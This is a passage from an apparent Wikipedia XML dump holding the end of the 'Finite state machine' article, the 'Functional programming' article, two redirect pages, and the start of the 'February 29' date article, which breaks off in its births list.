There are two groups distinguished: Acceptors/Recognizers and Transducers.

===Acceptors and recognizers===
[[Image:Fsm parsing word nice.jpg|thumb|400px|right|Fig. 2 Acceptor FSM: parsing the word &quot;nice&quot;]]

This kind of machine gives a binary output, saying either ''yes'' or ''no'' to answer whether the input is accepted by the machine or not. The machine can also be described as defining a language, in this case the language defined would contain every word accepted by the machine but none of the rejected ones. All states of the FSM are said to be either accepting or not accepting. If when all input is processed the current state is an accepting state, the input is accepted, otherwise not. As a rule the input are symbols (characters); actions are not used. The example in figure 2 shows a finite state machine which accepts the word &quot;nice&quot;, in this FSM the only accepting state is number 7.

===Transducers===
[[Transducers]] generate output based on a given input and/or a state using actions. They are used for control applications. Here two types are distinguished:
[[Image:Fsm moore model door control.jpg|thumb|350px|right|Fig. 3 Transducer FSM: Moore model example]]
;[[Moore machine]]: The FSM uses only entry actions, i.e. output depends only on the state. The advantage of the Moore model is a simplification of the behaviour. The example in figure 3 shows a Moore FSM of an elevator door. The state machine recognizes two commands: &quot;command_open&quot; and &quot;command_close&quot; which trigger state changes. The entry action (E:) in state &quot;Opening&quot; starts a motor opening the door, the entry action in state &quot;Closing&quot; starts a motor in the other direction closing the door. States &quot;Opened&quot; and &quot;Closed&quot; don't perform any actions. They signal to the outside world (e.g. to other state machines) the situation: &quot;door is open&quot; or &quot;door is closed&quot;.

[[Image:Fsm mealy model door control.jpg|thumb|350px|right|Fig. 4 Transducer FSM: Mealy model example]]
;[[Mealy machine]]: The FSM uses only input actions, i.e. output depends on input and state. The use of a Mealy FSM leads often to a reduction of the number of states. The example in figure 4 shows a Mealy FSM implementing the same behaviour as in the Moore example (the behaviour depends on the implemented FSM execution model and will work e.g. for [[Virtual finite state machine|virtual FSM]] but not for [[event driven finite state machine|event driven FSM]]). There are two input actions (I:): &quot;start motor to close the door if command_close arrives&quot; and &quot;start motor in the other direction to open the door if command_open arrives&quot;.

In practice mixed models are often used.

More details about the differences and usage of Moore and Mealy models, including an executable example, can be found in the external technical note [http://www.stateworks.com/active/content/en/technology/technical_notes.php#tn10 &quot;Moore or Mealy model?&quot;]

A further distinction is between '''deterministic''' ([[Deterministic finite state machine|DFA]]) and '''non-deterministic''' ([[NDFA]], [[GNFA]]) automata. In deterministic automata, for each state there is exactly one transition for each possible input. In non-deterministic automata, there can be none or more than one transition from a given state for a given possible input.  This distinction is relevant in practice, but not in theory, as there exists an algorithm which can transform any NDFA into an equivalent DFA, although this transformation typically significantly increases the complexity of the automaton.

The FSM with only one state is called a combinatorial FSM and uses only input actions. This concept is useful in cases where a number of FSM are required to work together, and where it is convenient to consider a purely combinatorial part as a form of FSM to suit the design tools.

==FSM logic==
[[Image:Finite state machine definition.gif|thumb|200px|right|Fig. 5 FSM Logic]]
The next state and output of a FSM is a function of the input and of the current state. The FSM logic is shown in Figure 5

==Mathematical model==
Depending on the type there are several definitions. An '''acceptor''' finite state machine is a quintuple &lt;''&amp;#931;'', ''S'', ''s&lt;sub&gt;0&lt;/sub&gt;'', ''&amp;#948;'', ''F''&gt;, where:
*''&amp;#931;'' is the input alphabet (a finite non empty set of symbols).
*''S'' is a finite non empty set of states.
*''s&lt;sub&gt;0&lt;/sub&gt;'' is an initial state, an element of ''S''. In a [[Nondeterministic finite state machine]], ''s&lt;sub&gt;0&lt;/sub&gt;'' is a set of initial states.
*''&amp;#948;'' is the state transition function: ''&amp;#948;'': ''S'' x ''&amp;#931;'' &amp;#8594; ''S''.
*''F'' is the set of final states, a (possibly empty) subset of S.

A '''transducer''' finite state machine is a sextuple &lt;''&amp;#931;'', ''&amp;#915;'', ''S'', ''s&lt;sub&gt;0&lt;/sub&gt;'', ''&amp;#948;'', ''&amp;#969;''&gt;, where:
*''&amp;#931;'' is the input alphabet (a finite non empty set of symbols).
*''&amp;#915;'' is the output alphabet (a finite non empty set of symbols).
*''S'' is a finite non empty set of states.
*''s&lt;sub&gt;0&lt;/sub&gt;'' is the initial state, an element of ''S''. In a [[Nondeterministic finite state machine]], ''s&lt;sub&gt;0&lt;/sub&gt;'' is a set of initial states.
*''&amp;#948;'' is the state transition function: ''&amp;#948;'': ''S'' x ''&amp;#931;'' &amp;#8594; ''S'' x ''&amp;#915;''.
*''&amp;#969;'' is the output function.

If the output function is a function of a state and input alphabet (''&amp;#969;'': ''S'' x ''&amp;#931;'' &amp;#8594; ''&amp;#915;'' ) that definition corresponds to the '''Mealy model'''. If the output function depends only on a state (''&amp;#969;'': ''S'' &amp;#8594; ''&amp;#915;'' ) that definition corresponds to the '''Moore model'''.

==Optimization==
Optimizing an FSM means finding the machine with the minimum number of states that performs the same function. This problem can be solved using a [[coloring algorithm]].

==Implementation==
===Hardware applications===
[[Image:4 bit counter.png|right|thumbnail|250px|Fig. 6 The [[circuit diagram]] for a 4 bit [[Transistor-transistor logic|TTL]] counter, a type of state machine]]In a [[digital circuit]], a FSM may be built using a [[programmable logic device]], a [[programmable logic controller]], [[logic gate]]s and [[Flip-flop (electronics)|flip flop]]s or [[relay]]s. More specifically, a hardware implementation requires a [[processor register|register]] to store state variables, a block of combinational logic which determines the state transition, and a second block of combinational logic that determines the output of a FSM.

=== Software applications ===
Following concepts are commonly used to build software applications with finite state machines:
*[[event driven finite state machine|event driven FSM]]
*[[virtual finite state machine|virtual FSM (VFSM)]]

==Tools==
{|
| valign=&quot;top&quot; |
*[[AT and T FSM Library|AT&amp;T FSM Library]]&amp;trade; [http://www.research.att.com/projects/mohri/fsm/]
*AutoFSM [http://autogen.sourceforge.net/autofsm.html]
*Bandera [http://bandera.projects.cis.ksu.edu/]
*Boost Statechart Library [http://boost-sandbox.sourceforge.net/libs/statechart/doc/index.html]
*CAZE - FSM-based .NET authorization library [http://www.lamarvin.com/caze_default.asp]
*Covered [http://covered.sourceforge.net/]
*Concurrent Hierarchical State Machine [http://homepage.mac.com/pauljlucas/software/chsm/]
*[[DescoGUI]] [http://www.s2.chalmers.se/software/desco/]
*Dynamic Attachment Finite State Machine (DAFSM) [http://dmabco.sourceforge.net/]
*Exorciser [http://www.educeth.ch/informatik/exorciser/]
*Finite State Kernel Creator [http://fskc.sourceforge.net/]
*Finite State Machine Editor [http://fsme.sourceforge.net/]
*Finite State Machine Explorer [http://www.belgarath.org/java/fsme.html]
| valign=&quot;top&quot; |
*FIRE Engine, Station and Works [http://www.fastar.org]
*[[FSMGenerator]] [http://fsmgenerator.sourceforge.net/]
*Grail+ [http://www.csd.uwo.ca/Research/grail/]
*[[FSA Utilities]] [http://odur.let.rug.nl/~vannoord/Fsa/]
*Libero [http://www.imatix.com/html/libero/index.htm]
*Java Finite Automata [http://www.ebi.ac.uk/~kirsch/monq-doc/]
*JFLAP [http://www.jflap.org/]
*jrexx-Lab [http://www.karneim.com/jrexx/]
*JSpasm [http://jspasm.sourceforge.net/]
*Kara [http://www.swisseduc.ch/informatik/karatojava/]
*Nunni FSM Generator [http://nunnifsmgen.nunnisoft.ch/en/]
*Petrify [http://www.lsi.upc.edu/~jordicf/petrify/]
*PyFSA [http://osteele.com/software/python/fsa/]
*Qfsm [http://qfsm.sourceforge.net/]
*Quantum-Leaps [http://www.quantum-leaps.com/]
| valign=&quot;top&quot; |
*Ragel [http://www.elude.ca/ragel/]
*[[RWTH FSA Toolkit]] [http://www-i6.informatik.rwth-aachen.de/web/Software/index.html]
*[[SCXML]] (State Chart XML) [http://www.w3.org/TR/2005/WD-scxml-20050705/]
*SFST, the Stuttgart Finite State Transducer Tools [http://www.ims.uni-stuttgart.de/projekte/gramotron/SOFTWARE/SFST.html]
*Statestep [http://statestep.com/]
*StateWORKS [http://www.stateworks.com/]
*State Machine Compiler [http://smc.sourceforge.net/]
*SMC - Finite State Machine Compiler (Java, C++) [http://www.objectmentor.com/resources/downloads/index]
*[[Supremica]][http://www.supremica.org/]
*[[UniMod]] [http://unimod.sourceforge.net/]
*visualSTATE [http://www.iar.com]
*WhatOS [http://www.sticlete.com/whatos/]
*Xerox Finite-State Software Tools [http://www.xrce.xerox.com/competencies/content-analysis/fssoft/home.en.html]
*[[XML Transition Network Definition|XTND]] (XML Transition Network Definition) [http://www.w3.org/TR/xtnd]
|}

==References==
*Timothy Kam, ''Synthesis of Finite State Machines: Functional Optimization''. Kluwer Academic Publishers, Boston 1997, ISBN 0-7923-9842-4
*Tiziano Villa, ''Synthesis of Finite State Machines: Logic Optimization''. Kluwer Academic Publishers, Boston 1997, ISBN 0-7923-9892-0
*Carroll, J., Long, D. , ''Theory of Finite Automata with an Introduction to Formal Languages''. Prentice Hall. Englewood Cliffs, 1989.
*Hopcroft, J.E., Ullman, J.D., ''Introduction to Automata Theory, Languages and Computation''. Addison -Wesley, 1979.
*Kohavi, Z., ''Switching and Finite Automata Theory''. McGraw-Hill, 1978.
*Gill, A., ''Introduction to the Theory of Finite-state Machines''. McGraw-Hill, 1962.
*Cassandras, C., Lafortune, S., &quot;Introduction to Discrete Event Systems&quot;. Kluwer, 1999, ISBN 0-7923-8609-4.
*Watson, B.W., ''Taxonomies and Toolkits of Regular Language Algorithms''. Ph.D dissertation, Eindhoven University of Technology, Netherlands, 1995, ISBN 90-386-0396-7.

==See also==
*[[Abstract state machine]]
*[[Automata analyzer]]
*[[Coverage analysis]]
*[[Marvin Minsky]]
*[[Petri net]]
*[[Protocol development]]
*[[Pushdown automaton]]
*[[Regular expression]]
*[[Regular grammar]]
*[[Simulation]]
*[[Sequential logic]]
*[[Sparse matrix]]
*[[Supervisory control theory]]
*[[Transition system]]

==External links==
*[http://foldoc.doc.ic.ac.uk/foldoc/foldoc.cgi?query=finite+state+machine Description from the Free On-Line Dictionary of Computing]
*NIST Dictionary of Algorithms and Data Structures [http://www.nist.gov/dads/HTML/finiteStateMachine.html entry]
*[http://www.eventhelix.com/RealtimeMantra/HierarchicalStateMachine.htm Hierarchical State Machines]

{{Formal languages and grammars}}

[[Category:Computational models]]
[[Category:Digital electronics]]
[[Category:Formal methods]]

[[bg:Краен автомат]]
[[cs:Konečný automat]]
[[de:Endlicher Automat]]
[[es:Autómata finito]]
[[fr:Automate fini]]
[[he:אוטומט סופי]]
[[it:Automa a stati finiti]]
[[ja:有限オートマトン]]
[[ru:Конечный автомат]]
[[fi:Äärellinen automaatti]]
[[sv:Ändlig automat]]
[[zh:有限状态自Å动机]]</text>
    </revision>
  </page>
  <page>
    <title>Finite state automaton</title>
    <id>10932</id>
    <revision>
      <id>15908722</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Finite state machine]]
</text>
    </revision>
  </page>
  <page>
    <title>Functional programming</title>
    <id>10933</id>
    <revision>
      <id>41957446</id>
      <timestamp>2006-03-02T21:52:03Z</timestamp>
      <contributor>
        <username>Allan McInnes</username>
        <id>647621</id>
      </contributor>
      <minor />
      <comment>sp</comment>
      <text xml:space="preserve">'''Functional programming''' is a [[programming paradigm]] that treats [[computation]] as the evaluation of [[function (mathematics)|mathematical function]]s.  Functional programming emphasizes the definition of [[function (computer science)|function]]s rather than the implementation of [[Finite state machine|state machines]], in contrast to [[procedural programming]], which emphasizes the execution of sequential commands.  A purely functional [[Computer program|program]] does not use [[mutation (computer science)|mutation]]: rather than modifying state to produce values (as is done in [[imperative programming]]), it constructs new values from (but does not overwrite) existing values.

There is no uniform agreement on what constitutes functional programming or a functional programming language.  Often considered important are [[first-class function]]s (including [[anonymous function]]s), [[Closure (computer science)|closure]]s, and [[recursion]].  Other common features of functional programming languages are [[continuation]]s, [[Hindley-Milner]] type systems, non-strict evaluation (i.e. &quot;laziness&quot;) or explicit [[suspension (computer science)|suspension]]s, and [[monads in functional programming|monad]]s. In his influential paper and 1977 [[Turing Award]] lecture [http://www.stanford.edu/class/cs242/readings/backus.pdf Can Programming Be Liberated From the von Neumann Style? A Functional Style and its Algebra of Programs],  [[John Backus]] defines functional programs as being built up in a hierarchical way by means of &quot;combining forms&quot; that allow an &quot;algebra of programs&quot;; in modern language, this means that functional program follow the [[principle of compositionality]].

==History==
[[Lambda calculus]], invented by [[Alonzo Church]] in the [[1930s]], provides a theoretical framework for describing functions and their evaluation.  Though it is a mathematical abstraction rather than a programming language, lambda calculus forms the basis of almost all functional programming languages today.

The first computer-based functional programming language was [[Information Processing Language]] (IPL), developed by Newell, Shaw, and Simon at [[RAND|RAND Corporation]] for the [[JOHNNIAC]] computer in the mid-[[1950s]].  A much-improved functional programming language was [[Lisp programming language|LISP]], developed by [[John McCarthy]] while at [[Massachusetts Institute of Technology|MIT]] for the [[IBM 700/7000 series#Scientific Architecture|IBM 700/7000 series]] scientific computers in the late 1950s.  LISP introduced many of the features now found in modern functional programming languages; [[Scheme programming language|Scheme]] was a later attempt to simplify and improve LISP.

In the [[1970s]] the [[ML programming language]] was created by [[Robin Milner]] at the [[University of Edinburgh]], and [[David Turner (computer scientist)|David Turner]] developed the language [[Miranda programming language|Miranda]] at the [[University of Kent]].  ML eventually developed into [[:category:ML programming language family|several dialects]], the most common of which are now [[Objective Caml]] and [[Standard ML]].  The [[Haskell programming language]] was released in the late [[1980s]] in an attempt to gather together many ideas in functional programming research.

==Higher-order functions==
A powerful mechanism used in functional programming is the notion of [[higher-order function]]s. Functions are higher-order when they can take other functions as arguments, and/or return functions as results. (The [[differential operator]] in [[calculus]] is a common example of a function that maps a function to a function.)

Higher-order functions are closely related to [[first-class function]]s, in that higher-order functions and first-class functions both allow functions as arguments and results of other functions.  The distinction between the two is subtle: &quot;higher-order&quot; describes mathematical concept of functions that operate on other functions, while &quot;first-class&quot; refers to the incorporation of functions as expressions in a programming language.

Higher-order functions enable [[currying]], a technique in which a function is applied to its arguments one at a time, with each application returning a new (higher-order) function that accepts the next argument.

==Comparison with imperative programming==

Functional programming can be contrasted with [[imperative programming]].  Functional programming appears to be missing several constructs often (though incorrectly) considered essential to an imperative language such as [[C programming language|C]] or [[Pascal programming language|Pascal]].  For example, in strict functional programming, there is no explicit memory allocation and no explicit variable assignment.  However, these operations occur automatically when a function is invoked: memory allocation occurs to create space for the parameters and the return value, and assignment occurs to copy the parameters into this newly allocated space and to copy the return value back into the calling function.  Both operations can only occur on function entry and exit, so [[side-effect (computer science)|side effect]]s of function evaluation are eliminated.  By disallowing side effects in functions, the language provides [[referential transparency]].  This ensures that the result of a function will be the same for a given set of parameters no matter where or when, it is evaluated.  Referential transparency greatly eases both the task of proving program [[correctness]] and the task of automatically identifying independent computations for parallel execution.

[[Iteration]] (looping), another imperative programming construct, is accomplished through the more general functional construct of [[recursion]].  [[Recursive function]]s invoke themselves, allowing an operation to be performed over and over.  In fact, it can be proven that iteration is equivalent to a special type of recursion called [[tail recursion]].  Recursion in functional programming can take many forms and is in general a more powerful technique than iteration.  For this reason, almost all imperative languages also support it (with [[Fortran|FORTRAN 77]] and [[COBOL]], before 2002, as notable exceptions).

Functional programming often depends heavily on recursion. The [[Scheme programming language]] even requires certain types of recursion ([[tail recursion]]) to be recognized and automatically optimized by a [[compiler]].

==Pure functions==
'''[[Purely functional]]''' programs have no [[side-effect (computer science)|side-effect]]s.  Since   functions do not modify state, no data may be changed by parallel function calls.  For this reason, pure functions are always [[thread-safe]], a fact which is exploited by languages that use [[evaluation strategy#Call by future|call-by-future evaluation]].  Because ordering of side-effects does not have to be preserved in their absence, some languages (such as [[Haskell programming language|Haskell]]) use [[evaluation strategy#Call by need|call-by-need evaluation]] for pure functions.

&quot;Pure&quot; functional programming languages typically enforce [[referential transparency]], which is the notion that 'equals can be substituted for equals': if two expressions have &quot;equal&quot; values (for some notion of equality), then one can be substituted for the other in any larger expression without affecting the result of the computation.  For example, in

&lt;code&gt;
     y = f(x) * f(x);
&lt;/code&gt;

a compiler can factor out &lt;code&gt;f(x)&lt;/code&gt; if it is pure, transforming the program to

&lt;code&gt;
     z = f(x);
     y = z * z;
&lt;/code&gt;

and eliminating the second evaluation of the (possibly costly) call to &lt;code&gt;f(x)&lt;/code&gt;.

This optimization is called [[common subexpression elimination]].

However, if a function has effects, the function call cannot be eliminated.
Consider the following program fragment:
&lt;code&gt;
     y = random() * random();
&lt;/code&gt;

The second call to &lt;code&gt;random&lt;/code&gt; cannot be eliminated, because its return value may be different from that of the first call.

Similarly,
&lt;code&gt;
     y = printf(&quot;x&quot;) * printf(&quot;x&quot;);
&lt;/code&gt;

cannot be optimized away; even if &lt;code&gt;printf&lt;/code&gt; returns the same value both times, failing to make the second call would result in different program output.

Many modern compilers for imperative programming languages do not perform common subexpression elimination for function calls, because they do not track whether a function is pure.  It is possible for an advanced compiler to infer whether a local function has effects and optimize accordingly; however, most pre-compiled libraries do not expose this information, preventing calls to external functions from being optimized away.  Some compilers, such as [[GNU Compiler Collection|gcc]], add extra keywords for a programmer to explicitly mark pure functions so that this optimization can be performed.

===Monads===
Some functional languages remove or [[Sandbox (computer security)|sandbox]] side-effects during evaluation using [[monads in functional programming|monads]].  In such languages, all functions become &quot;pure&quot;; the program's evaluation can then be reasoned about using traditional mathematical techniques, and common-subexpression elimination can be performed on all function calls.  Because monadic functions depend on the monad values produced by previous function calls, multiple calls still cannot be eliminated; however, their sequencing is made explicit in the program.

Alternative methods (such as [[Hoare logic]]) have been developed to track effects in programs.  Some modern research languages use [[effect system]]s to make explicit the presence of effects.

==Expansion of functional programming==
Many programmers accustomed to the imperative paradigm find it difficult to learn functional programming, which encompasses a whole different way of composing programs.  This difficulty, along with the fact that functional programming environments do not have the extensive tools and libraries available for traditional programming languages, are among the main reasons that functional programming has received little use in the [[software industry]].  Functional languages have remained largely the domain of [[academic]]s and hobbyists, and what little inroads have been made are due to impure functional languages such as [[Erlang_programming_language|Erlang]] and [[Common Lisp programming language|Common Lisp]].  It could be argued that the largest influence of functional programming on the software industry has been by those academically trained programmers who have gone on to apply the impure functional programming style to their work in traditional imperative languages.

== Speed and space considerations ==

Functional languages have long been criticised as resource-hungry, both in terms of [[central processing unit|CPU]] resources and memory. This was mainly due to two factors:
* some early functional languages were implemented with little concern for efficiency
* non-functional languages achieved speed in part by leaving out features such as [[bounds checking]] and [[garbage collection (computer science)|garbage collection]] which are considered by many to be important parts of modern computing frameworks; these features are included in most functional languages

As modern imperative languages and their implementations have started to emphasize correctness rather than raw speed, the implementations of functional languages have begun to emphasize speed as well as correctness; as a result, the performance of functional languages and imperative languages has begun to converge.  For programs which perform intensive numerical computations, some functional languages (such as [[OCaml programming language|OCaml]] and [[Clean (programming language)|Clean]]) can approach the speed of [[C (programming language)|C]], while for programs that handle large matrices and multidimensional databases, [[Array programming|array]] functional languages (such as [[J programming language|J]] and [[K programming language|K]]) are usually faster than most non-optimized C programs{{fact}}. However, purely functional languages can be considerably slower when manipulating large data structures, due to less efficient memory usage.

Memory usage can be improved in some functional programs by using [[persistent data structure]]s; these data structures allow part or all of their data to be shared with other values, making copying and modifying relatively inexpensive. This can be done safely because these data structures are immutable, so the usual problems with pointer aliasing in imperative data structures do not arise. Among the commonly used persistent data structures are linked lists and binary trees.

The use of persistent data structures for data that is discarded increases the amount of garbage collection that must occur and decreases the available memory between collection cycles; for this reason, some programs achieve faster performance using mutable data structures.  Because modifying memory addresses may be more efficient than allocating new data structures, implementations of &quot;pure&quot; languages often also contain monads for mutable data structures.

The competitive performance of modern (impure) functional programming languages such as OCaml and SML has resulted in their adoption in conventionally Fortran-dominated areas of scientific computation. Thanks to the brevity, expressiveness and availability of sophisticated data structures and algorithms, functional languages are now used in a wide range of scientific applications, from numerical analysis to visualisation{{fact}}.

==Functional languages==

The first computer-based functional programming language was [[Information_Processing_Language|Information Processing Language (IPL)]] from the RAND corporation.
Another very old functional language is [[Lisp programming language|Lisp]], though neither the original LISP nor
modern Lisps such as [[Common Lisp]] are pure-functional. Some Lisp variants include [[Scheme programming language|Scheme]], [[Dylan programming language|Dylan]], and [[Logo programming language|Logo]] (though Logo is an imperative language). The modern canonical examples are [[Haskell programming language|Haskell]] and members of the [[ML programming language|ML]] family including [[SML programming language|SML]] and [[OCaml]]. Others include [[Erlang programming language|Erlang]], [[Clean programming language|Clean]], and [[Miranda programming language|Miranda]]. A third type of a commonly used functional language is [[XSLT]]. Another subset is the mathematics languages [[Maple computer algebra system|Maple]] and [[Mathematica]].

Some computer languages, for example [[Tcl]], [[Perl]], [[Python (programming language)|Python]] &amp; [[Ruby_programming_language|Ruby]], can also be used in a functional style, since they have higher-order functions, abstractions and such.

Efforts are underway to develop functional programming languages for [[quantum computing]]. For examples, see [[quantum programming]].

[[:Category:Functional languages]] provides a more complete list of functional languages.

==See also==
* [[Eager evaluation]]
* [[Lazy evaluation]]
* [[Purely functional]]
* [[List of functional programming topics]]
* [[Function-level programming]] (compare and contrast)
* [[Procedural programming]] (contrast)
* [[Imperative programming]] (contrast)
* [[Logic programming]](contrast)
* [[Programming paradigm]]
* [[Nested function]]

==References==
*Cousineau, Guy and Michel Mauny. ''The Functional Approach to Programming''. Cambridge, UK: [[Cambridge University Press]], 1998.
*Felleisen, Matthias, Robert Findler, Matthew Flatt, and Shriram Krishnamurthi. ''How to Design Programs'' [[HTDP]]. MIT Press. 2001. [http://www.htdp.org on-line]
*Graham, Paul. ''ANSI Common LISP''. Englewood Cliffs, New Jersey: [[Prentice Hall]], 1996.
*Hudak, Paul. &quot;Conception, Evolution, and Application of Functional Programming Languages.&quot; ''ACM Computing Surveys'' '''21''', no. 3 (1989): 359-411.
*Pratt, Terrence, W. and Marvin V. Zelkowitz. ''Programming Languages: Design and Implementation''. 3rd ed. Englewood Cliffs, New Jersey: [[Prentice Hall]], 1996.
*Salus, Peter H. ''Functional and Logic Programming Languages''.  Vol. 4 of Handbook of Programming Languages.  Indianapolis, Indiana: [[Macmillan Technical Publishing]], 1998.
*Thompson, Simon. ''Haskell: The Craft of Functional Programming''. Harlow, England: [[Addison-Wesley Longman Limited]], 1996.
*Harrop, Jon. ''Objective CAML for Scientists''. Cambridge, England: [http://www.ffconsultancy.com/products/ocaml_for_scientists/ Flying Frog Consultancy], 2005.

==External links==
* [http://www.math.chalmers.se/~rjmh/Papers/whyfp.html Why Functional Programming Matters] by [[John Hughes]]
* [ftp://ftp.aw.com/cseng/authors/finkel/apld/finkel04.pdf &quot;Functional Programming&quot;]-- Chapter 4 of ''Advanced Programming Language Design'' by [[Raphael Finkel]], an introductory explanation of functional programming
* ''Functional programming in Python'' (by [[David Mertz]]): [http://gnosis.cx/publish/programming/charming_python_13.html part 1], [http://gnosis.cx/publish/programming/charming_python_16.html part 2], [http://gnosis.cx/publish/programming/charming_python_19.html part 3]

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This article includes parts of an [http://www.nupedia.com/article/short/Functional+Programming/ earlier version] ([http://www.nupedia.com/article/677/ stable link]) posted on [[19 June]] [[2001]] on [[Nupedia]];
reviewed and approved by the Computers group; editor, [[Michael Witbrock]] ; lead reviewer, [[Nancy Tinkham]]; lead copyeditors, [[Ruth Ifcher]]. and [[Larry Sanger]].

[[Category:Programming paradigms]]
[[Category:Functional programming|*]]

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[[nl:Functionele programmeertaal]]
[[ja:関数型言語]]
[[pl:Programowanie funkcyjne]]
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      <comment>redir</comment>
      <text xml:space="preserve">#REDIRECT [[Functional programming]]</text>
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  <page>
    <title>February 29</title>
    <id>10936</id>
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      <id>41844795</id>
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      <minor />
      <comment>/* Deaths */</comment>
      <text xml:space="preserve">&lt;DIV&gt;{{FebruaryCalendar}}&lt;/DIV&gt;
'''[[February 29]]''' is the 60th day of a ''[[leap year]]'' in the [[Gregorian Calendar]], with 306 days remaining.  A year which has a February 29 is, by definition, a ''leap year''.  This date only occurs approximately every four years, in years evenly divisible by 4, such as 1992, 1996, or 2004, with some exceptions in century years. 

A century year, that is, a year which ends in two zeros (1800, 1900, 2000, etc.), is not a leap year unless it is also evenly [[divisible]] by 400. To correct a slight inaccuracy that remains in the Gregorian Calendar, it has been proposed that years evenly divisible by 4000 should not be leap years, but this has yet to be officially adopted.  This means that the year 2000 was a leap year and 2400 and 2800 will also be, but 1800 and 1900 were not leap years, and the years 2100, 2200, and 2300 will not be leap years either.  The years 4000 and 8000 will not be leap years.

Because of this, a leap day is more likely to fall on a Monday than on a Sunday. If, for example, February 29 falls on a Sunday, you would expect it to fall on Sunday again after 28 years, but if there's a century year in these 28 years, the pattern can become disrupted. The [[Gregorian calendar]] repeats itself every 400 years, and 400 years have 97 leap days, which is not divisible by seven, so these days can never be distributed evenly. A leap day on a Sunday occurs 13 times in these 400 years, so approximately every 30.8 years, a Monday however occurs 15 times, which is roughly every 26.7 years.  The concepts of the leap year and 'leap day' are distinct from the [[leap second]], which is necessitated by changes in the Earth's rotational speed.

Those who are born on this day usually celebrate their birthdays on [[February 28]] or [[March 1]] during non-leap years.  In the comic musical ''[[The Pirates of Penzance]]'', Frederic, born on February 29, was [[apprentice]]d to a band of [[pirate]]s until his 21st [[birthday]], in theory until he was 88 years old (as his lifetime included a non-leap centennial year). 

This day may be colloquially termed a ''leap day'', though in the [[Roman calendar]] it was [[February 24]] in a leap year which was added, giving the name of &quot;bissextile&quot; day or extra sixth day in the lead up to the 'Calends' of March.  The Romans, realizing the need for an extra day, chose [[February 24]] in particular only because it followed the last day of their year, which at that point in history was [[February 23]]. An English law of [[1256]] decrees that in leap years the leap day and the day before are to be reckoned as one day for the purpose of calculating when a full year has passed; thus, in England and Wales a person born on February 29 legally reaches the age of 18 or 21 on [[February 28]] of the relevant year. In the [[European Union]], February 29 only officially became the leap day in 2000.  

There is a [[tradition]] that women may make a proposal of marriage to men only on [[February 29]]; this is a tightening of an older tradition that such proposals may only occur in leap years. In 1288 the Scottish parliament legislated that any woman could propose in Leap Year. The man may, of course, refuse but, by tradition, he should soften the blow by providing a kiss, one pound currency and a pair of gloves (some later sources say a silk gown). This law was adopted in France, Switzerland and Italy and the tradition was carried to America. 

In France, there is an humorous periodical called ''la Bougie du sapeur'' (the sapper's candle) published every [[February 29]] since 1980. The name is a reference to the [[sapeur Camembert]]. In 2004, the seventh number of ''la bougie du sapeur'', subtitled ''Dimanche'', was published. The eighth issue will be published in 2008.

==Events==
*1504 - [[Christopher Columbus]] uses his knowledge of a lunar [[eclipse]] that night to convince [[Native Americans (Americas)|Native Americans]] to provide him with supplies.
*1704 - [[Queen Anne's War]]: [[France|French]] forces and [[Native American (U.S.)|Native American]]s attack and destroy [[Deerfield, Massachusetts]], killing 100 men, women, and children.
*1712 - February 29 is followed by [[February 30]] in [[Sweden]], in a move to abolish the [[Swedish calendar]] for a return to the [[Julian calendar|Old style]].
*1720 - Queen [[Ulrika Eleonora of Sweden]] abdicates in favour of her husband who becomes King [[Frederick I of Sweden|Frederick I]] 
*1864 - [[American Civil War]]: [[Kilpatrick-Dahlgren raid]] fails - Plans to free 15,000 [[United States|Union]] soldiers being held near [[Richmond, Virginia]] are thwarted.  
*1892 - [[St. Petersburg, Florida]] incorporated.
*1916 - [[Child labor]]: In [[South Carolina]], the minimum [[working age]] for factory, mill, and mine workers is raised from twelve to fourteen years old.  
*1932 - [[TIME]] magazine features eccentric [[United States|American]] politician [[William H. Murray|William &quot;Alfalfa&quot; Murray]] on its cover after Murray stated his intention to run for [[President of the United States]]. 
*1936 - [[Baby Snooks]], played by [[Fanny Brice]], debuts on the [[radio]] program  [[The Ziegfeld Follies of the Air]].   
*1940 - For her role as Mammy in ''[[Gone with the Wind (film)|Gone with the Wind]]'', [[Hattie McDaniel]] becomes the first [[African American]] to win an [[Academy Award]]. 
*1940 - [[Finland]] initiates [[Winter War]] peace negotiations 
*1944 - [[World War II]]: The [[Admiralty Islands]] are invaded in the American General [[Douglas MacArthur]]-led [[Operation Brewer]].
*1952 - The island of [[Heligoland]] is restored to [[Germany|German]] authority.
*1960 - An earthquake in [[Morocco]] kills over 3,000 people and nearly destroys [[Agadir]] in the southern part of the country.
*1964 - In [[Sydney]], Australian swimmer [[Dawn Fraser]] sets a new world record in the 100-meter freestyle [[swimming]] competition (58.9 seconds).  
*1972 - [[Vietnam War]]: [[Vietnamization]] - [[South Korea]] withdraws 11,000 of its  48,000 troops from [[Vietnam]].
*1972 - [[Hank Aaron]] becomes the first player in the history of [[Major League Baseball]] to sign a $200,000 contract.
*1984 -  [[Canada|Canadian]] Prime Minister [[Pierre Trudeau]] announces he will retire as soon as the [[Liberal Party of Canada|Liberals]] can elect another leader.
*1988 - The [[sitcom]] ''[[Day by Day (television)|Day by Day]]'' premieres on [[NBC]].
*1988 - [[South Africa]]n archbishop [[Desmond Tutu]] is arrested along with 100 clergymen during a five-day anti-[[apartheid]] demonstration in [[Cape Town]]  
*1996 - Novelist [[Joan Collins]] awarded US $1 million from [[Random House]] for breach of contract.
*1996 - A Peruvian [[Boeing 737]] crashes in the Andes, killing 123 people.
*2000 - A six-year-old student [[school shooting|opens fire]] on a six-year-old classmate at Theo J. Buell Elementary School in Mount Morris Township, Michigan. [http://archives.cnn.com/2000/US/02/29/school.shooting.02/]
*2004 - [[Jean-Bertrand Aristide]] resigns as [[President]] of [[Haiti]] following popular rebel uprising.
*2004 - ''[[The Lord of the Rings: The Return of the King]]'' wins the [[Best Picture]] Oscar, along with 10 other awards, at the 76th Annual [[Academy Awards]].

==Births==
{{See also|:Category:Leap day births}}
*1468 - [[Pope Paul III]] (d. 1549)
*1692 - [[John Byrom]], English poet (d. 1763)
*1736 - [[Ann Lee]], American founder of Shakers (d. 1784)
*1792 - [[Gioacchino Rossini]], Italian composer (d. 1868)
*1840 - [[John Philip Holland]], Irish inventor (d. 1914)
*1860 - [[Herman Hollerith]], American statistician (d. 1929)
*1896 - [[Morarji Desai]], [[Prime Minister of India]] (d. 1995)
*1904 - [[Jimmy Dorsey]], American bandleader (d. 1957)
*1904 - [[Pepper Martin]], baseball player (d. 1965)
*1908 - [[Balthus]], French-Polish painter (d. 2001)
